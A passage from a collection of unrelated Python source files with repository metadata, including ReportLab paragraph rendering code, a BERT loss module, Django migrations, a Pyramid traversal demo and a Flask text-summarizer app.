leftIndent, ws, tx) if strike: _do_under_line(i, t_off + leftIndent, ws, tx, lm=0.125) if link: _do_link_line(i, t_off + leftIndent, ws, tx) else: for i in xrange(1, nLines): dpl(tx, _offsets[i], lines[i][0], lines[i][1], noJustifyLast and i == lim) else: f = lines[0] cur_y = self.height - getattr(f, 'ascent', f.fontSize) # TODO fix XPreformatted to remove this hack # default? dpl = _leftDrawParaLineX if bulletText: oo = offset offset = _drawBullet(canvas, offset, cur_y, bulletText, style) if alignment == TA_LEFT: dpl = _leftDrawParaLineX elif alignment == TA_CENTER: dpl = _centerDrawParaLineX elif self.style.alignment == TA_RIGHT: dpl = _rightDrawParaLineX elif self.style.alignment == TA_JUSTIFY: dpl = _justifyDrawParaLineX else: raise ValueError("bad align %s" % repr(alignment)) #set up the font etc. tx = self.beginText(cur_x, cur_y) xs = tx.XtraState = ABag() xs.textColor = None # XXX Modified for XHTML2PDF xs.backColor = None xs.rise = 0 xs.underline = 0 xs.underlines = [] xs.underlineColor = None # XXX Modified for XHTML2PDF xs.background = 0 xs.backgrounds = [] xs.backgroundColor = None xs.backgroundFontSize = None xs.strike = 0 xs.strikes = [] xs.strikeColor = None # XXX Modified for XHTML2PDF xs.strikeFontSize = None xs.links = [] xs.link = None xs.leading = style.leading xs.leftIndent = leftIndent tx._leading = None tx._olb = None xs.cur_y = cur_y xs.f = f xs.style = style xs.autoLeading = autoLeading tx._fontname, tx._fontsize = None, None dpl(tx, offset, lines[0], noJustifyLast and nLines == 1) _do_post_text(tx) #now the middle of the paragraph, aligned with the left margin which is our origin. for i in xrange(1, nLines): f = lines[i] dpl(tx, _offsets[i], f, noJustifyLast and i == lim) _do_post_text(tx) canvas.drawText(tx) canvas.restoreState() def getPlainText(self, identify=None): """ Convenience function for templates which want access to the raw text, without XML tags. """ frags = getattr(self, 'frags', None) if frags: plains = [] for frag in frags: if hasattr(frag, 'text'): plains.append(frag.text) return join(plains, '') elif identify: text = getattr(self, 'text', None) if text is None: text = repr(self) return text else: return '' def getActualLineWidths0(self): """ Convenience function; tells you how wide each line actually is. For justified styles, this will be the same as the wrap width; for others it might be useful for seeing if paragraphs will fit in spaces. """ assert hasattr(self, 'width'), "Cannot call this method before wrap()" if self.blPara.kind: func = lambda frag, w=self.width: w - frag.extraSpace else: func = lambda frag, w=self.width: w - frag[0] return map(func, self.blPara.lines) if __name__ == '__main__': # NORUNTESTS def dumpParagraphLines(P): print 'dumpParagraphLines(<Paragraph @ %d>)' % id(P) lines = P.blPara.lines for l, line in enumerate(lines): line = lines[l] if hasattr(line, 'words'): words = line.words else: words = line[1] nwords = len(words) print 'line%d: %d(%s)\n ' % (l, nwords, str(getattr(line, 'wordCount', 'Unknown'))), for w in xrange(nwords): print "%d:'%s'" % (w, getattr(words[w], 'text', words[w])), print def fragDump(w): R = ["'%s'" % w[1]] for a in ('fontName', 'fontSize', 'textColor', 'rise', 'underline', 'strike', 'link', 'cbDefn', 'lineBreak'): if hasattr(w[0], a): R.append('%s=%r' % (a, getattr(w[0], a))) return ', '.join(R) def dumpParagraphFrags(P): print 'dumpParagraphFrags(<Paragraph @ %d>) minWidth() = %.2f' % (id(P), P.minWidth()) frags = P.frags n = len(frags) for l in xrange(n): print "frag%d: '%s' %s" % ( l, frags[l].text, ' '.join(['%s=%s' % (k, getattr(frags[l], k)) for k in frags[l].__dict__ if k != text])) l = 0 cum = 0 for W in _getFragWords(frags): cum += W[0] print "fragword%d: cum=%3d size=%d" % (l, cum, W[0]), for w in W[1:]: print '(%s)' % fragDump(w), print l += 1 from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle from reportlab.lib.units import cm import sys TESTS = sys.argv[1:] if TESTS == []: TESTS = ['4'] def flagged(i, TESTS=TESTS): return 'all' in TESTS or '*' in TESTS or str(i) in TESTS styleSheet = getSampleStyleSheet() B = styleSheet['BodyText'] style = ParagraphStyle("discussiontext", parent=B) style.fontName = 'Helvetica' if flagged(1): text = '''The <font name=courier color=green>CMYK</font> or subtractive method follows the way a printer mixes three pigments (cyan, magenta, and yellow) to form colors. Because mixing chemicals is more difficult than combining light there is a fourth parameter for darkness. For example a chemical combination of the <font name=courier color=green>CMY</font> pigments generally never makes a perfect black -- instead producing a muddy color -- so, to get black printers don't use the <font name=courier color=green>CMY</font> pigments but use a direct black ink. Because <font name=courier color=green>CMYK</font> maps more directly to the way printer hardware works it may be the case that &amp;| &amp; | colors specified in <font name=courier color=green>CMYK</font> will provide better fidelity and better control when printed. ''' P = Paragraph(text, style) dumpParagraphFrags(P) aW, aH = 456.0, 42.8 w, h = P.wrap(aW, aH) dumpParagraphLines(P) S = P.split(aW, aH) for s in S: s.wrap(aW, aH) dumpParagraphLines(s) aH = 500 if flagged(2): P = Paragraph("""Price<super><font color="red">*</font></super>""", styleSheet['Normal']) dumpParagraphFrags(P) w, h = P.wrap(24, 200) dumpParagraphLines(P) if flagged(3): text = """Dieses Kapitel bietet eine schnelle <b><font color=red>Programme :: starten</font></b> <onDraw name=myIndex label="Programme :: starten"> <b><font color=red>Eingabeaufforderung :: (&gt;&gt;&gt;)</font></b> <onDraw name=myIndex label="Eingabeaufforderung :: (&gt;&gt;&gt;)"> <b><font color=red>&gt;&gt;&gt; (Eingabeaufforderung)</font></b> <onDraw name=myIndex label="&gt;&gt;&gt; (Eingabeaufforderung)"> Einf&#xfc;hrung in Python <b><font color=red>Python :: Einf&#xfc;hrung</font></b> <onDraw name=myIndex label="Python :: Einf&#xfc;hrung">. Das Ziel ist, die grundlegenden Eigenschaften von Python darzustellen, ohne sich zu sehr in speziellen Regeln oder Details zu verstricken. Dazu behandelt dieses Kapitel kurz die wesentlichen Konzepte wie Variablen, Ausdr&#xfc;cke, Kontrollfluss, Funktionen sowie Ein- und Ausgabe. Es erhebt nicht den Anspruch, umfassend zu sein.""" P = Paragraph(text, styleSheet['Code']) dumpParagraphFrags(P) w, h = P.wrap(6 * 72, 9.7 * 72) dumpParagraphLines(P) if flagged(4): text = '''Die eingebaute Funktion <font name=Courier>range(i, j [, stride])</font><onDraw name=myIndex label="eingebaute Funktionen::range()"><onDraw name=myIndex label="range() (Funktion)"><onDraw name=myIndex label="Funktionen::range()"> erzeugt eine Liste von Ganzzahlen und f&#xfc;llt sie mit Werten <font name=Courier>k</font>, f&#xfc;r die gilt: <font name=Courier>i &lt;= k &lt; j</font>. Man kann auch eine optionale Schrittweite angeben. Die eingebaute Funktion <font name=Courier>xrange()</font><onDraw name=myIndex label="eingebaute Funktionen::xrange()"><onDraw name=myIndex label="xrange() (Funktion)"><onDraw name=myIndex label="Funktionen::xrange()"> erf&#xfc;llt einen &#xe4;hnlichen Zweck, gibt aber eine unver&#xe4;nderliche Sequenz vom Typ <font name=Courier>XRangeType</font><onDraw name=myIndex label="XRangeType"> zur&#xfc;ck. Anstatt alle Werte in der Liste abzuspeichern, berechnet diese Liste ihre Werte, wann immer sie angefordert werden. Das ist sehr viel speicherschonender, wenn mit sehr langen Listen von Ganzzahlen gearbeitet wird. <font name=Courier>XRangeType</font> kennt eine einzige Methode, <font name=Courier>s.tolist()</font><onDraw name=myIndex label="XRangeType::tolist() (Methode)"><onDraw name=myIndex label="s.tolist() (Methode)"><onDraw name=myIndex label="Methoden::s.tolist()">, die seine Werte in eine Liste umwandelt.''' aW = 420 aH = 64.4 P = Paragraph(text, B) dumpParagraphFrags(P) w, h = P.wrap(aW, aH) print 'After initial wrap', w, h dumpParagraphLines(P) S = P.split(aW, aH) dumpParagraphFrags(S[0]) w0, h0 = S[0].wrap(aW, aH) print 'After split wrap', w0, h0 dumpParagraphLines(S[0]) if flagged(5): text = '<para> %s <![CDATA[</font></b>& %s < >]]></para>' % (chr(163), chr(163)) P = Paragraph(text, styleSheet['Code']) dumpParagraphFrags(P) w, h = P.wrap(6 * 72, 9.7 * 72) dumpParagraphLines(P) if flagged(6): for text in [ '''Here comes <FONT FACE="Helvetica" SIZE="14pt">Helvetica 14</FONT> with <STRONG>strong</STRONG> <EM>emphasis</EM>.''', '''Here comes <font face="Helvetica" size="14pt">Helvetica 14</font> with <Strong>strong</Strong> <em>emphasis</em>.''', '''Here comes <font face="Courier" size="3cm">Courier 3cm</font> and normal again.''', ]: P = Paragraph(text, styleSheet['Normal'], caseSensitive=0) dumpParagraphFrags(P) w, h = P.wrap(6 * 72, 9.7 * 72) dumpParagraphLines(P) if flagged(7): text = """<para align="CENTER" fontSize="24" leading="30"><b>Generated by:</b>Dilbert</para>""" P = Paragraph(text, styleSheet['Code']) dumpParagraphFrags(P) w, h = P.wrap(6 * 72, 9.7 * 72) dumpParagraphLines(P) if flagged(8): text = """- bullet 0<br/>- bullet 1<br/>- bullet 2<br/>- bullet 3<br/>- bullet 4<br/>- bullet 5""" P = Paragraph(text, styleSheet['Normal']) dumpParagraphFrags(P) w, h = P.wrap(6 * 72, 9.7 * 72) dumpParagraphLines(P) S = P.split(6 * 72, h / 2.0) print len(S) dumpParagraphLines(S[0]) dumpParagraphLines(S[1]) if flagged(9): text = """Furthermore, the fundamental error of regarding <img src="../docs/images/testimg.gif" width="3" height="7"/> functional notions as categorial delimits a general convention regarding the forms of the<br/> grammar. I suggested that these results would follow from the assumption that""" P = Paragraph(text, ParagraphStyle('aaa', parent=styleSheet['Normal'], align=TA_JUSTIFY)) dumpParagraphFrags(P) w, h = P.wrap(6 * cm - 12, 9.7 * 72) dumpParagraphLines(P) if flagged(10): text = """a b c\xc2\xa0d e f""" P = Paragraph(text, ParagraphStyle('aaa', parent=styleSheet['Normal'], align=TA_JUSTIFY)) dumpParagraphFrags(P) w, h = P.wrap(6 * cm - 12, 9.7 * 72) dumpParagraphLines(P)
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shiro16/sunaba
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import numpy as np import matplotlib.pyplot as plt from sklearn import linear_model, datasets # 乱数によるデータ生成 np.random.seed(0) regdata = datasets.make_regression(100, 1, noise=20.0) # 学習を行いモデルのパラメータを表示 lin = linear_model.LinearRegression() lin.fit(regdata[0], regdata[1]) print("coef and intercept : ", lin.coef_, lin.intercept_) print("score :", lin.score(regdata[0], regdata[1])) # グラフ xr = [-2.5, 2.5] plt.plot(xr, lin.coef_ * xr + lin.intercept_) plt.scatter(regdata[0], regdata[1]) plt.show()
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/bert/train/loss_models.py
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nawshad/BERT-pytorch
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from bert.preprocess import PAD_INDEX from torch import nn class MLMNSPLossModel(nn.Module): def __init__(self, model): super(MLMNSPLossModel, self).__init__() self.model = model self.mlm_loss_function = nn.CrossEntropyLoss(ignore_index=PAD_INDEX) self.nsp_loss_function = nn.CrossEntropyLoss() def forward(self, inputs, targets): outputs = self.model(inputs) mlm_outputs, nsp_outputs = outputs mlm_targets, is_nexts = targets mlm_predictions, nsp_predictions = mlm_outputs.argmax(dim=2), nsp_outputs.argmax(dim=1) predictions = (mlm_predictions, nsp_predictions) batch_size, seq_len, vocabulary_size = mlm_outputs.size() mlm_outputs_flat = mlm_outputs.view(batch_size * seq_len, vocabulary_size) mlm_targets_flat = mlm_targets.view(batch_size * seq_len) mlm_loss = self.mlm_loss_function(mlm_outputs_flat, mlm_targets_flat) nsp_loss = self.nsp_loss_function(nsp_outputs, is_nexts) loss = mlm_loss + nsp_loss return predictions, loss.unsqueeze(dim=0) class ClassificationLossModel(nn.Module): def __init__(self, model): super(ClassificationLossModel, self).__init__() self.model = model self.loss_function = nn.CrossEntropyLoss() def forward(self, inputs, targets): outputs = self.model(inputs) predictions = outputs.argmax(dim=1) loss = self.loss_function(outputs, targets) return predictions, loss.unsqueeze(dim=0)
d1878d336619c62c219f42222f728c8e4ed65c83
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/python_code/chuanzhi/python_advance/19/process_pool.py
e42b0da91f0fd4f73e665517b8f08d73f03c0eeb
[]
no_license
googleliyang/gitbook_cz_python
7da5070b09e760d5e099aeae468c08e705b7da78
c82b7d435dc11016e24cde2bdc4a558f507cb668
refs/heads/master
2020-04-02T17:47:58.400424
2018-12-22T09:48:59
2018-12-22T09:48:59
154,672,309
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#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @File : process_pool.py # @Author: ly # @Date : 2018/12/8
56db26ac23eb5330f73c013d50f5c5683be26524
ee3ededc11e224619506d39c95cd4c8a150b9ffc
/run/migrations/0022_auto_20210610_0543.py
c9d3e8ffae0d8ff5ddf7955fc8397c7651b14ea5
[]
no_license
TwoPointFour/django-backend
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fd41da863df4cf79e5c8f9af2b211d6628ab6651
refs/heads/main
2023-08-11T14:01:39.604186
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# Generated by Django 3.2.3 on 2021-06-09 21:43 from django.db import migrations, models import run.models class Migration(migrations.Migration): dependencies = [ ('run', '0021_alter_workoutlog_workouts'), ] operations = [ migrations.AddField( model_name='profile', name='alias', field=models.CharField(blank=True, max_length=50), ), migrations.AlterField( model_name='profile', name='profileImage', field=models.ImageField(default='default/default.jpg', upload_to=run.models.upload_to), ), ]
1f1e7a0b4abdeaaf41b0249eee3816924a031f17
d732fb0d57ec5430d7b15fd45074c555c268e32c
/misc/traversal_basics/trav10.py
a31652b349cd80bc1656caffb5760ac4bffff3db
[]
no_license
askobeldin/mypython3
601864997bbebdabb10809befd451490ffd37625
8edf58311a787f9a87330409d9734370958607f1
refs/heads/master
2020-04-12T08:01:16.893234
2018-02-01T18:23:23
2018-02-01T18:23:23
60,504,448
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#! /usr/bin/env python # -*- coding: utf-8 -*- # ################################################################################ try: from collections import OrderedDict except ImportError: from ordereddict import OrderedDict from string import Template from wsgiref.simple_server import make_server from pyramid.config import Configurator from pyramid.response import Response from pyramid.location import lineage """ from pyramid.httpexceptions import HTTPFound ################################# # make a new Document # title = appstruct['title'] body = appstruct['body'] name = str(randint(0, 999999)) new_document = Document(name, self.context, title, body) self.context[name] = new_document ###################################### # Redirect to the new document # url = self.request.resource_url(new_document) return HTTPFound(location=url) """ class Folder(OrderedDict): def __init__(self, name, parent, title): super(Folder, self).__init__() self.__name__ = name self.__parent__ = parent self.title = title class Document(object): def __init__(self, name, parent, title, body): self.__name__ = name self.__parent__ = parent self.title = title self.body = body class SiteFolder(Folder): pass class Collector(Folder): def __init__(self, *args, **kwds): super(Collector, self).__init__(*args, **kwds) self.toysList = [] class Toy(object): __slots__ = ('__name__', '__parent__', 'title', 'description', 'tag') def __init__(self, data, parent): self.__name__ = data['title'] self.__parent__ = parent self.title = data['title'] self.description = data['description'] self.tag = data['tag'] class SimpleDB(OrderedDict): def __init__(self, name, parent, title): super(SimpleDB, self).__init__() self.__name__ = name self.__parent__ = parent self.title = title def __getitem__(self, key): print 'need key = %s' % key try: item = super(SimpleDB, self).__getitem__(key) except KeyError: print 'Key %s error!' % (key,) print 'Generating new Bear toy with key %s' % (key,) newtoy = {'title': u'Generated Bear %s' % (key,), 'description': u'Generated description for Bear %s' % (key,), 'tag': u'bears'} item = Toy(data = newtoy, parent = switchcollector[newtoy['tag']]) # save generated toy self[key] = item # update collector for Bears collector1.toysList.insert(0, key) return item def __setitem__(self, key, value): print 'saving %s to key %s' % (value, key) super(SimpleDB, self).__setitem__(key, value) def get_root(request): return RTREE def view_site(context, request): s = Template(""" <!DOCTYPE html> <html> <head> <title>Site folder</title> </head> <body> <h3>title: $title</h3> <p>Leaves: $keys</p> </body> </html> """) output = s.safe_substitute(title = context.title, keys = getFolderLeaves(request)) return Response(body=output, charset='utf-8', content_type='text/html', content_language='ru') def view_folder(context, request): s = Template(""" <!DOCTYPE html> <html> <head> <title>Folder $name</title> </head> <body> <p>BC: $breadcrumbs</p> <hr> <h3>title: $title</h3> <hr> <p>Leaves: $keys</p> </body> </html> """) output = s.safe_substitute(breadcrumbs = getBreadCrumbs(request), name = context.__name__, title = context.title, keys = getFolderLeaves(request)) return Response(body=output, charset='utf-8', content_type='text/html', content_language='ru') def view_collector(context, request): s = Template(""" <!DOCTYPE html> <html> <head> <title>Collector $name</title> </head> <body> <p>BC: $breadcrumbs</p> <hr> <h3>title: $title</h3> <hr> <h3>Toys:</h3> $toys </body> </html> """) output = s.safe_substitute(breadcrumbs = getBreadCrumbs(request), name = context.__name__, title = context.title, toys = getToysTableLinks(context, request)) return Response(body=output, charset='utf-8', content_type='text/html', content_language='ru') def view_doc(context, request): s = Template(""" <!DOCTYPE html> <html> <head> <title>Document $name</title> </head> <body> <p>BC: $breadcrumbs</p> <hr> <h3>title: $title</h3> <p>body: $body</p> <hr> </body> </html> """) output = s.safe_substitute(breadcrumbs = getBreadCrumbs(request), name = context.__name__, title = context.title, body = context.body) return Response(body=output, charset='utf-8', content_type='text/html', content_language='ru') def view_db(context, request): s = Template(""" <!DOCTYPE html> <html> <head> <title>Database $name</title> </head> <body> <p>BC: $breadcrumbs</p> <hr> <h3>title: $title</h3> <hr> </body> </html> """) output = s.safe_substitute(breadcrumbs = getBreadCrumbs(request), name = context.__name__, title = context.title) return Response(body=output, charset='utf-8', content_type='text/html', content_language='ru') def view_toy(context, request): s = Template(""" <!DOCTYPE html> <html> <head> <title>Toy $name</title> </head> <body> <p>BC: $breadcrumbs</p> <hr> <h3>Title: $title</h3> <h3>Tag: $tag</h3> <h3>Description:</h3> <p>$descr</p> <hr> </body> </html> """) output = s.safe_substitute(breadcrumbs = getBreadCrumbs(request), name = context.__name__, title = context.title, descr = context.description, tag = context.tag) return Response(body=output, charset='utf-8', content_type='text/html', content_language='ru') def getBreadCrumbs(request): cr = [(request.resource_url(i), i.title) for i in lineage(request.context)] cr.reverse() li = ['<li>' + '<a href="' + i[0] + '">' + i[1] + '</a></li>' for i in cr[:-1]] #last item of breadcrumbs li.append('<li>' + cr[-1][1] + '</li>') return "<ul>" + "\n".join(li) + "</ul>" def getFolderLeaves(request): leaves = request.context.items() li = ['<li>' + '<a href="' + request.resource_url(i[1]) + '">' + i[0] + '</a></li>' for i in leaves] return "<ul>" + "\n".join(li) + "</ul>" def getToysList(collector): if collector.toysList: return collector.toysList else: return [] def getToysTable(collector): table = u""" <table> <tbody> <tr> """ lst = [table] if collector.toysList: for i in collector.toysList: lst.append(u"<td>%s</td>" % i) lst.append(u"</tr></tbody></table>") return "".join(lst) else: return "" def getToysTableLinks(collector, request): table = u""" <table> <tbody> <tr> """ lst = [table] if collector.toysList: for i in collector.toysList: lst.append(u"<td><a href=\"/db/%s\">%s</a></td>" % (i, i)) lst.append(u"</tr></tbody></table>") return "".join(lst) else: return "" def fillCollector(collector, tag, db): lst = [] data = db.items() for (k, v) in data: if v['tag'] == tag: lst.append(k) collector.toysList.extend(lst) def printinfo(context, request): # print request.__dict__ formatstring ='%-36s%s' print formatstring % ('request.url', request.url) print formatstring % ('request.host', request.host) print formatstring % ('request.host_url', request.host_url) print formatstring % ('request.application_url', request.application_url) print formatstring % ('request.path_url', request.path_url) print formatstring % ('request.path', request.path) print formatstring % ('request.path_qs', request.path_qs) print formatstring % ('request.query_string', request.query_string) print 10 * '-' # print formatstring % ('request.matchdict', request.matchdict) ### need a name attribute # print formatstring % ('request.resource_url(context)', request.resource_url(context)) print formatstring % ('request.cookies', request.cookies) print formatstring % ('request.headers', request.headers) # print formatstring % ('request.json', request.json) print formatstring % ('request.method', request.method) print formatstring % ('request.charset', request.charset) if request.params: print formatstring % ('request.params', request.params) print formatstring % ('request.params.keys()', request.params.keys()) print formatstring % ('request.params.items()', request.params.items()) # ошибка если передано несколько параметров age # print formatstring % ('request.params.getone(\'age\')', request.params.getone('age')) print formatstring % ('request.params.getall(\'age\')', request.params.getall('age')) print 60 * '=' print 'context info' print for i in context: print i, context[i] print 60 * '=' print 'URL parameters' ################ # resources tree # RTREE = SiteFolder('', None, u'Site folder') folder1 = Folder(u'f1', RTREE, u'Folder one') RTREE[u'f1'] = folder1 folder2 = RTREE[u'f2'] = Folder(u'f2', RTREE, u'Folder two') folder3 = RTREE[u'f3'] = Folder(u'f3', RTREE, u'Folder три') folder4 = folder3[u'f4'] = Folder(u'f4', folder3, u'Folder #4') d1 = Document(name=u'd1', parent=folder1, title=u'Testing document 1', body=u'Body of testing document 1') folder1[u'd1'] = d1 # main toys collector collector = RTREE[u'toys'] = Folder(u'toys', RTREE, u'Toys') collector1 = collector[u'bears'] = Collector(u'bears', collector, u'Bears') collector2 = collector[u'dolls'] = Collector(u'dolls', collector, u'Dolls') collector3 = collector[u'angels'] = Collector(u'angels', collector, u'Angels') collector4 = collector[u'test'] = Collector(u'test', collector, u'Testing') simpledb = RTREE[u'db'] = SimpleDB(u'db', RTREE, u'SimpleDB') PSEUDO_DB = { 1: {'title': u'Bear 1', 'description': u'Description of Bear 1', 'tag': u'bears'}, 2: {'title': u'Doll 2', 'description': u'Description of Doll 2', 'tag': u'dolls'}, 3: {'title': u'Doll 3', 'description': u'Description of Doll 3', 'tag': u'dolls'}, 4: {'title': u'Bear 4', 'description': u'Description of Bear 4', 'tag': u'bears'}, 5: {'title': u'Doll 5', 'description': u'Description of Doll 5', 'tag': u'dolls'}, 6: {'title': u'Angel 6', 'description': u'Description of Angel 6', 'tag': u'angels'}, 7: {'title': u'Doll 7', 'description': u'Description of Doll 7', 'tag': u'dolls'}, 8: {'title': u'Doll 8', 'description': u'Description of Doll 8', 'tag': u'dolls'}, 9: {'title': u'Bear 9', 'description': u'Description of Bear 9', 'tag': u'bears'}, 10: {'title': u'Angel 10', 'description': u'Description of Angel 10', 'tag': u'angels'}, 11: {'title': u'Angel 11', 'description': u'Description of Angel 11', 'tag': u'angels'}, 12: {'title': u'Angel 12', 'description': u'Description of Angel 12', 'tag': u'angels'}, 13: {'title': u'Angel 13', 'description': u'Description of Angel 13', 'tag': u'angels'}, 14: {'title': u'Bear 14', 'description': u'Description of Bear 14', 'tag': u'bears'}, 15: {'title': u'Bear 15', 'description': u'Description of Bear 15', 'tag': u'bears'}, 16: {'title': u'Angel 16', 'description': u'Description of Angel 16', 'tag': u'angels'}, 17: {'title': u'Test 17', 'description': u'Description of Test 17', 'tag': u'test'}, 18: {'title': u'Test 18', 'description': u'Description of Test 18', 'tag': u'test'}, 19: {'title': u'Doll 19', 'description': u'Description of Doll 19', 'tag': u'dolls'}, 20: {'title': u'Test 20', 'description': u'Description of Test 20', 'tag': u'test'}, 21: {'title': u'Angel 21', 'description': u'Description of Angel 21', 'tag': u'angels'}, 22: {'title': u'Bear 22', 'description': u'Description of Bear 22', 'tag': u'bears'}, 23: {'title': u'Test 23', 'description': u'Description of Test 23', 'tag': u'test'}, 24: {'title': u'Doll 24', 'description': u'Description of Doll 24', 'tag': u'dolls'}, 25: {'title': u'Doll 25', 'description': u'Description of Doll 25', 'tag': u'dolls'}, 26: {'title': u'Test 26', 'description': u'Description of Test 26', 'tag': u'test'}, 27: {'title': u'Bear 27', 'description': u'Description of Bear 27', 'tag': u'bears'}, 28: {'title': u'Test 28', 'description': u'Description of Test 28', 'tag': u'test'}, 29: {'title': u'Angel 29', 'description': u'Description of Angel 29', 'tag': u'angels'}, 30: {'title': u'Test 30', 'description': u'Description of Test 30', 'tag': u'test'}, 31: {'title': u'Doll 31', 'description': u'Description of Doll 31', 'tag': u'dolls'}, } ########################################################################### if __name__ == '__main__': config = Configurator(root_factory=get_root) config.add_view(view=view_site, context=SiteFolder) config.add_view(view=view_folder, context=Folder) config.add_view(view=view_collector, context=Collector) config.add_view(view=view_doc, context=Document) config.add_view(view=view_db, context=SimpleDB) config.add_view(view=view_toy, context=Toy) # filling collectors of toys fillCollector(collector1, u'bears', PSEUDO_DB) fillCollector(collector2, u'dolls', PSEUDO_DB) fillCollector(collector3, u'angels', PSEUDO_DB) fillCollector(collector4, u'test', PSEUDO_DB) ######################################## # initialize database switchcollector = {u'bears': collector1, u'dolls': collector2, u'angels': collector3, u'test': collector4} for (k, v) in PSEUDO_DB.items(): simpledb[str(k)] = Toy(data = v, parent = switchcollector[v['tag']]) app = config.make_wsgi_app() server = make_server('0.0.0.0', 8080, app) server.serve_forever()
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/cadastros/urls.py
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[]
no_license
evertonpauli/e-ticket
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refs/heads/master
2023-04-30T10:54:13.013547
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from rest_framework import routers from cadastros.views import ClientesViewSet, CategoriaViewSet, StatusViewSet router = routers.DefaultRouter(trailing_slash=True) router.register('clientes', ClientesViewSet) router.register('categorias', CategoriaViewSet) router.register('status', StatusViewSet) urlpatterns = router.urls
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/app.py
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[]
no_license
mnassrib/text-summarizer-app
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from __future__ import unicode_literals from flask import Flask, render_template, url_for, request from spacy_summarization import text_summarizer from gensim.summarization import summarize from nltk_summarization import nltk_summarizer import time import spacy import en_core_web_sm nlp = en_core_web_sm.load() app = Flask(__name__) # Web Scraping Pkg from bs4 import BeautifulSoup from urllib.request import urlopen #from urllib import urlopen # Sumy Pkg from sumy.parsers.plaintext import PlaintextParser from sumy.nlp.tokenizers import Tokenizer from sumy.summarizers.lex_rank import LexRankSummarizer # Sumy def sumy_summary(docx): parser = PlaintextParser.from_string(docx,Tokenizer("english")) lex_summarizer = LexRankSummarizer() summary = lex_summarizer(parser.document,3) summary_list = [str(sentence) for sentence in summary] result = ' '.join(summary_list) return result # Reading Time def readingTime(mytext): total_words = len([ token.text for token in nlp(mytext)]) estimatedTime = total_words/200.0 return estimatedTime # Fetch Text From Url def get_text(url): page = urlopen(url) soup = BeautifulSoup(page) fetched_text = ' '.join(map(lambda p:p.text,soup.find_all('p'))) return fetched_text @app.route('/') def index(): return render_template('index.html') @app.route('/analyze', methods=['GET','POST']) def analyze(): start = time.time() if request.method == 'POST': rawtext = request.form['rawtext'] final_reading_time = "{:.3f}".format(readingTime(rawtext)) final_summary = text_summarizer(rawtext) summary_reading_time = "{:.3f}".format(readingTime(final_summary)) end = time.time() final_time = "{:.3f}".format(end-start) return render_template('index.html',ctext=rawtext,final_summary=final_summary,final_time=final_time,final_reading_time=final_reading_time,summary_reading_time=summary_reading_time) @app.route('/analyze_url', methods=['GET','POST']) def analyze_url(): start = time.time() if request.method == 'POST': raw_url = request.form['raw_url'] rawtext = get_text(raw_url) final_reading_time = "{:.3f}".format(readingTime(rawtext)) final_summary = text_summarizer(rawtext) summary_reading_time = "{:.3f}".format(readingTime(final_summary)) end = time.time() final_time = "{:.3f}".format(end-start) return render_template('index.html',ctext=rawtext,final_summary=final_summary,final_time=final_time,final_reading_time=final_reading_time,summary_reading_time=summary_reading_time) @app.route('/compare_summary') def compare_summary(): return render_template('compare_summary.html') @app.route('/comparer', methods=['GET','POST']) def comparer(): start = time.time() if request.method == 'POST': rawtext = request.form['rawtext'] final_reading_time = "{:.3f}".format(readingTime(rawtext)) final_summary_spacy = text_summarizer(rawtext) summary_reading_time = "{:.3f}".format(readingTime(final_summary_spacy)) # Gensim Summarizer final_summary_gensim = summarize(rawtext) summary_reading_time_gensim = "{:.3f}".format(readingTime(final_summary_gensim)) # NLTK final_summary_nltk = nltk_summarizer(rawtext) summary_reading_time_nltk = "{:.3f}".format(readingTime(final_summary_nltk)) # Sumy final_summary_sumy = sumy_summary(rawtext) summary_reading_time_sumy = "{:.3f}".format(readingTime(final_summary_sumy)) end = time.time() final_time = "{:.3f}".format(end-start) return render_template('compare_summary.html',ctext=rawtext,final_summary_spacy=final_summary_spacy,final_summary_gensim=final_summary_gensim,final_summary_nltk=final_summary_nltk,final_time=final_time,final_reading_time=final_reading_time,summary_reading_time=summary_reading_time,summary_reading_time_gensim=summary_reading_time_gensim,final_summary_sumy=final_summary_sumy,summary_reading_time_sumy=summary_reading_time_sumy,summary_reading_time_nltk=summary_reading_time_nltk) @app.route('/about') def about(): return render_template('index.html') if __name__ == '__main__': app.run(debug=True)
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/users/migrations/0001_initial.py
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[]
no_license
naman114/Django_Blog
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c97eb63fd4d67df4638ab5766ee76cd5e39023ea
refs/heads/master
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# Generated by Django 3.1.7 on 2021-03-30 20:09 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Profile', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('image', models.ImageField(default='default.jpg', upload_to='profile_pics')), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), ]
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/settings.py
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[]
no_license
milesgranger/cmdata
2ee96706a61372c94955e0fd942e777149249e2c
535b237af99d988e158ab8b5304d0d1340b7f908
refs/heads/master
2020-04-06T07:08:27.252382
2016-09-11T10:25:42
2016-09-11T10:25:42
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2016-09-11T10:25:43
2016-08-13T09:44:49
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UTF-8
Python
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import os import logging import json from peewee import Model, SqliteDatabase with open('settings.json', 'r') as myfile: json_settings = json.loads(myfile.read()) logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) SECRET_KEY = json_settings["SECRET_KEY"] DEBUG = json_settings["DEBUG"] ####################### ### DATABASE CONFIG ### ####################### DB_URI = json_settings['DATABASE'] DATABASE = SqliteDatabase(DB_URI, threadlocals=True) class BaseModel(Model): ''' Base class for all other DB Models Basically defines which database to use ''' class Meta: database = DATABASE ####################### ### PATHS ############# ####################### ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) STATIC_DIR = os.path.join(ROOT_DIR, 'static') TEMPLATES_DIR = os.path.join(ROOT_DIR, 'templates')
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73e4f50d2aabaf630e3a6154f3a149f6dee22656
/apps/users/migrations/0003_auto_20170124_1008.py
57a0420da15f1ec3aac5a6b35f833671e6d0a2c2
[]
no_license
gjw199513/Mxonline
508f8878eba396de1a88903c148a2f32641d9d8f
360b759a0d21d712f3588c6fec377aabc2f990e0
refs/heads/master
2022-11-28T14:25:19.268436
2017-12-22T09:23:01
2017-12-22T09:23:31
80,403,072
4
